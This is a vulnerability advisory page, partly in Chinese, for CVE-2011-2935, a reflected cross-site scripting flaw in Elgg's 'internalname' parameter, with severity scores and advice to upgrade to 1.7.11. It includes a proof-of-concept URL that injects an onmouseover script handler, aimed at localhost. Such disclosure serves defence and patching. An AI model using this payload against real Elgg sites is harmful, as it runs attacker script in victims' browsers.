CVE-2011-2935
Elgg Reflected XSS Vulnerability
6.1
MEDIUM
CVSS 3.1
EPSS 1.1%
描述
### VULNERABILITY DESCRIPTION The `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser ### PROOF-OF-CONCEPT/EXPLOIT ```http http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 ```
如何修補 CVE-2011-2935
要修補 CVE-2011-2935,請將受影響套件升級到下列已修補版本。
- —升級至 1.7.11 或更新版本
CVE-2011-2935 正在被利用嗎?
低 — EPSS 為 1.1%,目前沒有觀察到大規模利用活動。
受影響套件(1)
- from 0, < 1.7.11
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |